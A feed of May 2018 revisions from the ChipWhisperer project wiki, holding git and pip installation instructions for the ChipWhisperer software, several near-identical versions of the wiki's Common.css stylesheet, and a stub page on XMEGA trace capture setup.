[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Installing_ChipWhisperer/Installing_ChipWhisperer_from_Git&diff=3527Installing ChipWhisperer/Installing ChipWhisperer from Git2018-05-08T15:15:26Z<p>Fheubach: Update for github issue #140</p>
<hr />
<div>If you want the cutting-edge version of ChipWhisperer, you can clone the repository. If you have Git already set up, this is easy to do:<br />
<pre><br />
git clone https://github.com/newaetech/chipwhisperer.git<br />
cd chipwhisperer<br />
git checkout develop<br />
cd software<br />
python setup.py develop --user<br />
</pre><br />
The user flag installs ChipWhisperer in the user's <b>local</b> python site-packages directory. Note bleeding-edge development is done on the "develop" branch, which you probably want if you are trying GIT.<br />
<br />
You may also want the OpenADC software, which is necessary to build new firmware for the ChipWhisperer FPGA. This is unnecessary for most users. If you need it:<br />
<pre><br />
cd ..<br />
git submodule init<br />
git submodule update<br />
cd openadc/controlsw/python<br />
python setup.py develop --user<br />
</pre></div>Fheubachhttp://wiki.newae.com/index.php?title=Installing_ChipWhisperer&diff=3526Installing ChipWhisperer2018-05-08T15:11:02Z<p>Fheubach: </p>
<hr />
<div><span class="expandall"></span><br />
<br />
This page describes how to install the ChipWhisperer software. <br />
<br />
There are five ways to set up ChipWhisperer:<br />
* '''VMWare Virtual Machine:''' Get a pre-prepared virtual machine image with all of the required tools already installed. ''Recommended for beginners.''<br />
* '''Windows Installer''' Get a Windows binary that installs the ChipWhisperer repository to your computer. Does not include WinAVR compiler.<br />
* '''ChipWhisperer Releases:''' Get a zip file with the latest stable ChipWhisperer code and run it on your own environment. <br />
* '''PyPi Package:''' <code>pip install chipwhisperer</code>. Only includes the software - doesn't come with the hardware source files, drivers, or example firmware.<br />
* '''Git Repository:''' Get the latest, bleeding-edge features and bugs. Recommended if you're an experienced developer and you want to contribute to ChipWhisperer.<br />
<br><br />
{{Warningbox|If you are installing 64-bit Python rather than 32-bit, and the ChipWhisperer software's graph widget's axis disappear, the fix is this: ''pip uninstall pyside'' and then ''pip install https://download.qt.io/official_releases/pyside/PySide-1.2.2-cp27-none-win_amd64.whl''. This uninstalls the current pyside package and installs the official QT Pyside package.}}<br />
<br />
<br><br />
{{Warningbox|You may need to add ''--trusted-host pypi.python.org'' to the ''pip install'' command to allow HTTP connections. This is done as follows for example: ''sudo pip install --trusted-host pypi.python.org pyusb''}}<br />
<br />
<br><br />
{{TOC|limit=3}}<br />
<br />
{{CollapsibleSection<br />
|intro = === Using VMWare Virtual Machine ===<br />
|content= Installing ChipWhisperer/Using VMWare Virtual Machine}}<br />
<br />
{{CollapsibleSection<br />
|intro = === Automatic Windows Installer ===<br />
|content= Installing ChipWhisperer/Windows Installer}}<br />
<br />
{{CollapsibleSection<br />
|intro= === Manual Install - Windows ===<br />
|content= Installing ChipWhisperer/Required Tools - Windows}}<br />
<br />
{{CollapsibleSection<br />
|intro= === Manual Install - Linux ===<br />
|content= Installing ChipWhisperer/Required Tools - Linux}}<br />
<br />
{{CollapsibleSection<br />
|intro= === Manual Install - Mac OS X ===<br />
|content= Installing ChipWhisperer/Required Tools - Mac OS X}}<br />
<br />
{{CollapsibleSection<br />
|intro= === Installing ChipWhisperer from Releases ===<br />
|content= Installing ChipWhisperer/Installing ChipWhisperer from Releases}}<br />
<br />
{{CollapsibleSection<br />
|intro= === Installing ChipWhisperer from PyPi ===<br />
|content= Installing ChipWhisperer/Installing ChipWhisperer from PyPi}}<br />
<br />
{{CollapsibleSection<br />
|intro= === Installing ChipWhisperer from Git ===<br />
|content= Installing ChipWhisperer/Installing ChipWhisperer from Git}}<br />
<br />
<!-- {{CollapsibleSection<br />
|intro= === Quick Tests ===<br />
|content= Installing ChipWhisperer/Quick Tests}}<br />
--><br />
<br />
[[Category:Introduction]]</div>Fheubachhttp://wiki.newae.com/index.php?title=File:Passok.png&diff=3525File:Passok.png2018-05-08T15:03:01Z<p>Fheubach: Fheubach uploaded a new version of File:Passok.png</p>
<hr />
<div>File uploaded with MsUpload</div>Fheubachhttp://wiki.newae.com/index.php?title=MediaWiki:Common.css&diff=3524MediaWiki:Common.css2018-05-03T18:17:41Z<p>Fheubach: </p>
<hr />
<div>/* CSS placed here will be applied to all skins */<br />
<br />
/*<br />
.headerTree-h1 {<br />
margin-left: 10px;<br />
}<br />
<br />
.headerTree-h2 {<br />
margin-left: 30px;<br />
}<br />
<br />
.headerTree-h3 {<br />
margin-left: 60px;<br />
}<br />
<br />
.headerTree-h4 {<br />
margin-left: 90px;<br />
}<br />
*/<br />
<br />
/* The following css is to create the blue box organization of the wiki */<br />
.headerTree-h2 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #f1f5fc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top:2.5px;<br />
margin-bottom:2.5px;<br />
padding-right: 0.5em;<br />
}<br />
<br />
.mw-body h2 {<br />
border-radius: 3px;<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #d0e5f5;<br />
}<br />
<br />
.mw-collapsible-toggle-header {<br />
border-bottom: 1px solid #aaa;<br />
}<br />
<br />
.headerTree-h4 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #e5eefc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top: 2.5px;<br />
margin-bottom: 2.5px;<br />
}<br />
<br />
.mw-body h4 {<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #c6e0f4;<br />
}<br />
<br />
.mw-collapsible-content {<br />
margin-left: 1em;<br />
}<br />
<br />
/* The following css is for the search page on the newae wiki<br />
*/<br />
.searchresults .headerTree-h2 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
.searchresults h2 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
#mw-searchoptions h4 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
/* Fixes the TOC title */<br />
.toc .headerTree-h2,<br />
.toc h2 {<br />
background:inherit;<br />
border: none;<br />
}<br />
<br />
.toclimit-2 .toclevel-1,<br />
.toclimit-3 .toclevel-2,<br />
.toclimit-4 .toclevel-3,<br />
.toclimit-5 .toclevel-4,<br />
.toclimit-6 .toclevel-5,<br />
.toclimit-7 .toclevel-6 {<br />
display: none!important;<br />
}<br />
<br />
.mobileonly{<br />
display:none!important;<br />
}<br />
.desktoponly{<br />
display:inherit!important;<br />
}<br />
<br />
/* Collapse Toggle container */<br />
.mw-collapsible-toggle{<br />
display: table;<br />
border-collapse: collapse;<br />
width: 100%;<br />
}<br />
<br />
.mw-collapsible-toggle-row{<br />
display: table-row;<br />
}<br />
<br />
/* Collapse Header should be on the left */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-header{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding-left:5px!important; <br />
}<br />
<br />
/* Collapse indicator image should be inline. align wherever you would like */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding: 5px;<br />
text-align: right;<br />
}<br />
<br />
/* Collapse indicator image size should be something sane*/<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
height: 20px !important; <br />
width: 20px !important;<br />
}<br />
<br />
/* Collapse indicator image should rotate when toggled*/<br />
.mw-collapsible:not(.mw-collapsed) .mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
/* Safari */<br />
-webkit-transform: rotate(90deg);<br />
<br />
/* Firefox */<br />
-moz-transform: rotate(90deg);<br />
<br />
/* IE */<br />
-ms-transform: rotate(90deg);<br />
<br />
/* Opera */<br />
-o-transform: rotate(90deg);<br />
<br />
/* Internet Explorer */<br />
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);<br />
}<br />
<br />
.force-expand {<br />
display:inherit!important;<br />
}<br />
.force-collapse {<br />
display:none!important;<br />
}<br />
<br />
/*collapsible lower h top margin*/<br />
.mw-collapsible-toggle-header h1,.mw-collapsible-toggle-header h2,.mw-collapsible-toggle-header h3,.mw-collapsible-toggle-header h4,.mw-collapsible-toggle-header h5,.mw-collapsible-toggle-header h6 {<br />
margin-top:5px!important;<br />
}<br />
<br />
/*infobox stuff*/<br />
<br />
/* Infobox template style */<br />
.infobox {<br />
border: 1px solid #a2a9b1;<br />
border-spacing: 3px;<br />
background-color: #f8f9fa;<br />
color: black;<br />
/* @noflip */<br />
margin: 0.5em 0 0.5em 1em;<br />
padding: 0.2em;<br />
/* @noflip */<br />
float: right;<br />
/* @noflip */<br />
clear: right;<br />
font-size: 88%;<br />
line-height: 1.5em;<br />
}<br />
.infobox caption {<br />
font-size: 125%;<br />
font-weight: bold;<br />
padding: 0.2em;<br />
}<br />
.infobox td,<br />
.infobox th {<br />
vertical-align: top;<br />
/* @noflip */<br />
text-align: left;<br />
}<br />
.infobox.bordered {<br />
border-collapse: collapse;<br />
}<br />
.infobox.bordered td,<br />
.infobox.bordered th {<br />
border: 1px solid #a2a9b1;<br />
}<br />
.infobox.bordered .borderless td,<br />
.infobox.bordered .borderless th {<br />
border: 0;<br />
}<br />
<br />
.infobox.sisterproject {<br />
width: 20em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.standard-talk {<br />
border: 1px solid #c0c090;<br />
background-color: #f8eaba;<br />
}<br />
.infobox.standard-talk.bordered td,<br />
.infobox.standard-talk.bordered th {<br />
border: 1px solid #c0c090;<br />
}<br />
<br />
/* styles for bordered infobox with merged rows */<br />
.infobox.bordered .mergedtoprow td,<br />
.infobox.bordered .mergedtoprow th {<br />
border: 0;<br />
border-top: 1px solid #a2a9b1;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
.infobox.bordered .mergedrow td,<br />
.infobox.bordered .mergedrow th {<br />
border: 0;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
/* Styles for geography infoboxes, eg countries,<br />
country subdivisions, cities, etc. */<br />
.infobox.geography {<br />
border-collapse: collapse;<br />
line-height: 1.2em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.geography td,<br />
.infobox.geography th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.4em 0.6em;<br />
}<br />
.infobox.geography .mergedtoprow td,<br />
.infobox.geography .mergedtoprow th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedrow td,<br />
.infobox.geography .mergedrow th {<br />
border: 0;<br />
padding: 0 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedbottomrow td,<br />
.infobox.geography .mergedbottomrow th {<br />
border-top: 0;<br />
border-bottom: 1px solid #a2a9b1;<br />
padding: 0 0.6em 0.4em 0.6em;<br />
}<br />
<br />
.infobox.geography .maptable td,<br />
.infobox.geography .maptable th {<br />
border: 0;<br />
padding: 0;<br />
}</div>Fheubachhttp://wiki.newae.com/index.php?title=MediaWiki:Common.css&diff=3523MediaWiki:Common.css2018-05-03T18:16:19Z<p>Fheubach: </p>
<hr />
<div>/* CSS placed here will be applied to all skins */<br />
<br />
/*<br />
.headerTree-h1 {<br />
margin-left: 10px;<br />
}<br />
<br />
.headerTree-h2 {<br />
margin-left: 30px;<br />
}<br />
<br />
.headerTree-h3 {<br />
margin-left: 60px;<br />
}<br />
<br />
.headerTree-h4 {<br />
margin-left: 90px;<br />
}<br />
*/<br />
<br />
h6 {<br />
font-size: 50%;<br />
}<br />
<br />
/* The following css is to create the blue box organization of the wiki */<br />
.headerTree-h2 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #f1f5fc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top:2.5px;<br />
margin-bottom:2.5px;<br />
padding-right: 0.5em;<br />
}<br />
<br />
.mw-body h2 {<br />
border-radius: 3px;<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #d0e5f5;<br />
}<br />
<br />
.mw-collapsible-toggle-header {<br />
border-bottom: 1px solid #aaa;<br />
}<br />
<br />
.headerTree-h4 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #e5eefc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top: 2.5px;<br />
margin-bottom: 2.5px;<br />
}<br />
<br />
.mw-body h4 {<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #c6e0f4;<br />
}<br />
<br />
.mw-collapsible-content {<br />
margin-left: 1em;<br />
}<br />
<br />
/* The following css is for the search page on the newae wiki<br />
*/<br />
.searchresults .headerTree-h2 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
.searchresults h2 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
#mw-searchoptions h4 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
/* Fixes the TOC title */<br />
.toc .headerTree-h2,<br />
.toc h2 {<br />
background:inherit;<br />
border: none;<br />
}<br />
<br />
.toclimit-2 .toclevel-1,<br />
.toclimit-3 .toclevel-2,<br />
.toclimit-4 .toclevel-3,<br />
.toclimit-5 .toclevel-4,<br />
.toclimit-6 .toclevel-5,<br />
.toclimit-7 .toclevel-6 {<br />
display: none!important;<br />
}<br />
<br />
.mobileonly{<br />
display:none!important;<br />
}<br />
.desktoponly{<br />
display:inherit!important;<br />
}<br />
<br />
/* Collapse Toggle container */<br />
.mw-collapsible-toggle{<br />
display: table;<br />
border-collapse: collapse;<br />
width: 100%;<br />
}<br />
<br />
.mw-collapsible-toggle-row{<br />
display: table-row;<br />
}<br />
<br />
/* Collapse Header should be on the left */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-header{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding-left:5px!important; <br />
}<br />
<br />
/* Collapse indicator image should be inline. align wherever you would like */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding: 5px;<br />
text-align: right;<br />
}<br />
<br />
/* Collapse indicator image size should be something sane*/<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
height: 20px !important; <br />
width: 20px !important;<br />
}<br />
<br />
/* Collapse indicator image should rotate when toggled*/<br />
.mw-collapsible:not(.mw-collapsed) .mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
/* Safari */<br />
-webkit-transform: rotate(90deg);<br />
<br />
/* Firefox */<br />
-moz-transform: rotate(90deg);<br />
<br />
/* IE */<br />
-ms-transform: rotate(90deg);<br />
<br />
/* Opera */<br />
-o-transform: rotate(90deg);<br />
<br />
/* Internet Explorer */<br />
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);<br />
}<br />
<br />
.force-expand {<br />
display:inherit!important;<br />
}<br />
.force-collapse {<br />
display:none!important;<br />
}<br />
<br />
/*collapsible lower h top margin*/<br />
.mw-collapsible-toggle-header h1,.mw-collapsible-toggle-header h2,.mw-collapsible-toggle-header h3,.mw-collapsible-toggle-header h4,.mw-collapsible-toggle-header h5,.mw-collapsible-toggle-header h6 {<br />
margin-top:5px!important;<br />
}<br />
<br />
/*infobox stuff*/<br />
<br />
/* Infobox template style */<br />
.infobox {<br />
border: 1px solid #a2a9b1;<br />
border-spacing: 3px;<br />
background-color: #f8f9fa;<br />
color: black;<br />
/* @noflip */<br />
margin: 0.5em 0 0.5em 1em;<br />
padding: 0.2em;<br />
/* @noflip */<br />
float: right;<br />
/* @noflip */<br />
clear: right;<br />
font-size: 88%;<br />
line-height: 1.5em;<br />
}<br />
.infobox caption {<br />
font-size: 125%;<br />
font-weight: bold;<br />
padding: 0.2em;<br />
}<br />
.infobox td,<br />
.infobox th {<br />
vertical-align: top;<br />
/* @noflip */<br />
text-align: left;<br />
}<br />
.infobox.bordered {<br />
border-collapse: collapse;<br />
}<br />
.infobox.bordered td,<br />
.infobox.bordered th {<br />
border: 1px solid #a2a9b1;<br />
}<br />
.infobox.bordered .borderless td,<br />
.infobox.bordered .borderless th {<br />
border: 0;<br />
}<br />
<br />
.infobox.sisterproject {<br />
width: 20em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.standard-talk {<br />
border: 1px solid #c0c090;<br />
background-color: #f8eaba;<br />
}<br />
.infobox.standard-talk.bordered td,<br />
.infobox.standard-talk.bordered th {<br />
border: 1px solid #c0c090;<br />
}<br />
<br />
/* styles for bordered infobox with merged rows */<br />
.infobox.bordered .mergedtoprow td,<br />
.infobox.bordered .mergedtoprow th {<br />
border: 0;<br />
border-top: 1px solid #a2a9b1;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
.infobox.bordered .mergedrow td,<br />
.infobox.bordered .mergedrow th {<br />
border: 0;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
/* Styles for geography infoboxes, eg countries,<br />
country subdivisions, cities, etc. */<br />
.infobox.geography {<br />
border-collapse: collapse;<br />
line-height: 1.2em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.geography td,<br />
.infobox.geography th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.4em 0.6em;<br />
}<br />
.infobox.geography .mergedtoprow td,<br />
.infobox.geography .mergedtoprow th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedrow td,<br />
.infobox.geography .mergedrow th {<br />
border: 0;<br />
padding: 0 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedbottomrow td,<br />
.infobox.geography .mergedbottomrow th {<br />
border-top: 0;<br />
border-bottom: 1px solid #a2a9b1;<br />
padding: 0 0.6em 0.4em 0.6em;<br />
}<br />
<br />
.infobox.geography .maptable td,<br />
.infobox.geography .maptable th {<br />
border: 0;<br />
padding: 0;<br />
}</div>Fheubachhttp://wiki.newae.com/index.php?title=MediaWiki:Common.css&diff=3522MediaWiki:Common.css2018-05-03T18:15:53Z<p>Fheubach: </p>
<hr />
<div>/* CSS placed here will be applied to all skins */<br />
<br />
/*<br />
.headerTree-h1 {<br />
margin-left: 10px;<br />
}<br />
<br />
.headerTree-h2 {<br />
margin-left: 30px;<br />
}<br />
<br />
.headerTree-h3 {<br />
margin-left: 60px;<br />
}<br />
<br />
.headerTree-h4 {<br />
margin-left: 90px;<br />
}<br />
*/<br />
<br />
h6 {<br />
font-size: 75%;<br />
}<br />
<br />
/* The following css is to create the blue box organization of the wiki */<br />
.headerTree-h2 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #f1f5fc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top:2.5px;<br />
margin-bottom:2.5px;<br />
padding-right: 0.5em;<br />
}<br />
<br />
.mw-body h2 {<br />
border-radius: 3px;<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #d0e5f5;<br />
}<br />
<br />
.mw-collapsible-toggle-header {<br />
border-bottom: 1px solid #aaa;<br />
}<br />
<br />
.headerTree-h4 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #e5eefc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top: 2.5px;<br />
margin-bottom: 2.5px;<br />
}<br />
<br />
.mw-body h4 {<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #c6e0f4;<br />
}<br />
<br />
.mw-collapsible-content {<br />
margin-left: 1em;<br />
}<br />
<br />
/* The following css is for the search page on the newae wiki<br />
*/<br />
.searchresults .headerTree-h2 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
.searchresults h2 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
#mw-searchoptions h4 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
/* Fixes the TOC title */<br />
.toc .headerTree-h2,<br />
.toc h2 {<br />
background:inherit;<br />
border: none;<br />
}<br />
<br />
.toclimit-2 .toclevel-1,<br />
.toclimit-3 .toclevel-2,<br />
.toclimit-4 .toclevel-3,<br />
.toclimit-5 .toclevel-4,<br />
.toclimit-6 .toclevel-5,<br />
.toclimit-7 .toclevel-6 {<br />
display: none!important;<br />
}<br />
<br />
.mobileonly{<br />
display:none!important;<br />
}<br />
.desktoponly{<br />
display:inherit!important;<br />
}<br />
<br />
/* Collapse Toggle container */<br />
.mw-collapsible-toggle{<br />
display: table;<br />
border-collapse: collapse;<br />
width: 100%;<br />
}<br />
<br />
.mw-collapsible-toggle-row{<br />
display: table-row;<br />
}<br />
<br />
/* Collapse Header should be on the left */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-header{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding-left:5px!important; <br />
}<br />
<br />
/* Collapse indicator image should be inline. align wherever you would like */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding: 5px;<br />
text-align: right;<br />
}<br />
<br />
/* Collapse indicator image size should be something sane*/<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
height: 20px !important; <br />
width: 20px !important;<br />
}<br />
<br />
/* Collapse indicator image should rotate when toggled*/<br />
.mw-collapsible:not(.mw-collapsed) .mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
/* Safari */<br />
-webkit-transform: rotate(90deg);<br />
<br />
/* Firefox */<br />
-moz-transform: rotate(90deg);<br />
<br />
/* IE */<br />
-ms-transform: rotate(90deg);<br />
<br />
/* Opera */<br />
-o-transform: rotate(90deg);<br />
<br />
/* Internet Explorer */<br />
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);<br />
}<br />
<br />
.force-expand {<br />
display:inherit!important;<br />
}<br />
.force-collapse {<br />
display:none!important;<br />
}<br />
<br />
/*collapsible lower h top margin*/<br />
.mw-collapsible-toggle-header h1,.mw-collapsible-toggle-header h2,.mw-collapsible-toggle-header h3,.mw-collapsible-toggle-header h4,.mw-collapsible-toggle-header h5,.mw-collapsible-toggle-header h6 {<br />
margin-top:5px!important;<br />
}<br />
<br />
/*infobox stuff*/<br />
<br />
/* Infobox template style */<br />
.infobox {<br />
border: 1px solid #a2a9b1;<br />
border-spacing: 3px;<br />
background-color: #f8f9fa;<br />
color: black;<br />
/* @noflip */<br />
margin: 0.5em 0 0.5em 1em;<br />
padding: 0.2em;<br />
/* @noflip */<br />
float: right;<br />
/* @noflip */<br />
clear: right;<br />
font-size: 88%;<br />
line-height: 1.5em;<br />
}<br />
.infobox caption {<br />
font-size: 125%;<br />
font-weight: bold;<br />
padding: 0.2em;<br />
}<br />
.infobox td,<br />
.infobox th {<br />
vertical-align: top;<br />
/* @noflip */<br />
text-align: left;<br />
}<br />
.infobox.bordered {<br />
border-collapse: collapse;<br />
}<br />
.infobox.bordered td,<br />
.infobox.bordered th {<br />
border: 1px solid #a2a9b1;<br />
}<br />
.infobox.bordered .borderless td,<br />
.infobox.bordered .borderless th {<br />
border: 0;<br />
}<br />
<br />
.infobox.sisterproject {<br />
width: 20em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.standard-talk {<br />
border: 1px solid #c0c090;<br />
background-color: #f8eaba;<br />
}<br />
.infobox.standard-talk.bordered td,<br />
.infobox.standard-talk.bordered th {<br />
border: 1px solid #c0c090;<br />
}<br />
<br />
/* styles for bordered infobox with merged rows */<br />
.infobox.bordered .mergedtoprow td,<br />
.infobox.bordered .mergedtoprow th {<br />
border: 0;<br />
border-top: 1px solid #a2a9b1;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
.infobox.bordered .mergedrow td,<br />
.infobox.bordered .mergedrow th {<br />
border: 0;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
/* Styles for geography infoboxes, eg countries,<br />
country subdivisions, cities, etc. */<br />
.infobox.geography {<br />
border-collapse: collapse;<br />
line-height: 1.2em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.geography td,<br />
.infobox.geography th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.4em 0.6em;<br />
}<br />
.infobox.geography .mergedtoprow td,<br />
.infobox.geography .mergedtoprow th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedrow td,<br />
.infobox.geography .mergedrow th {<br />
border: 0;<br />
padding: 0 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedbottomrow td,<br />
.infobox.geography .mergedbottomrow th {<br />
border-top: 0;<br />
border-bottom: 1px solid #a2a9b1;<br />
padding: 0 0.6em 0.4em 0.6em;<br />
}<br />
<br />
.infobox.geography .maptable td,<br />
.infobox.geography .maptable th {<br />
border: 0;<br />
padding: 0;<br />
}</div>Fheubachhttp://wiki.newae.com/index.php?title=CW303_XMEGA_Target/Trace_Capture&diff=3521CW303 XMEGA Target/Trace Capture2018-05-03T18:09:48Z<p>Fheubach: </p>
<hr />
<div><h4> Trace Capture Setup </h4><br />
Before following the steps in this section you must have completed [[Building Firmware]]To prepare the target for trace capture the following setup needs to be completed.<br />
<h5> Hardware </h5><br />
<br />
<h5> Software </h5><br />
The software setup can either use the ChipWhisperer Capture tool or user ChipWhisperer as a python package<br />
<h6> Using the GUI </h6><br />
GUI stuff here<br />
<h6> Python scripting </h6><br />
Here is example code to create<br />
<syntaxhighlight lang=python><br />
something here<br />
</syntaxhighlight></div>Fheubachhttp://wiki.newae.com/index.php?title=CW303_XMEGA_Target/Trace_Capture&diff=3520CW303 XMEGA Target/Trace Capture2018-05-03T18:07:42Z<p>Fheubach: Created page with "==== Trace Capture Setup ==== Before following the steps in this section you must have completed Building FirmwareTo prepare the target for trace capture the following se..."</p>
<hr />
<div>==== Trace Capture Setup ==== <br />
Before following the steps in this section you must have completed [[Building Firmware]]To prepare the target for trace capture the following setup needs to be completed.<br />
===== Hardware =====<br />
<br />
===== Software =======<br />
The software setup can either use the ChipWhisperer Capture tool or user ChipWhisperer as a python package<br />
====== Using the GUI =======<br />
GUI stuff here<br />
====== Python scripting ======<br />
Here is example code to create<br />
<syntaxhighlight lang=python><br />
something here<br />
</syntaxhighlight></div>Fheubachhttp://wiki.newae.com/index.php?title=MediaWiki:Common.css&diff=3519MediaWiki:Common.css2018-05-01T20:49:27Z<p>Fheubach: </p>
<hr />
<div>/* CSS placed here will be applied to all skins */<br />
<br />
/*<br />
.headerTree-h1 {<br />
margin-left: 10px;<br />
}<br />
<br />
.headerTree-h2 {<br />
margin-left: 30px;<br />
}<br />
<br />
.headerTree-h3 {<br />
margin-left: 60px;<br />
}<br />
<br />
.headerTree-h4 {<br />
margin-left: 90px;<br />
}<br />
*/<br />
<br />
/* The following css is to create the blue box organization of the wiki */<br />
.headerTree-h2 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #f1f5fc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top:2.5px;<br />
margin-bottom:2.5px;<br />
padding-right: 0.5em;<br />
}<br />
<br />
.mw-body h2 {<br />
border-radius: 3px;<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #d0e5f5;<br />
}<br />
<br />
.mw-collapsible-toggle-header {<br />
border-bottom: 1px solid #aaa;<br />
}<br />
<br />
.headerTree-h4 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #e5eefc;<br />
padding: 0.4em 1em 1em; <br />
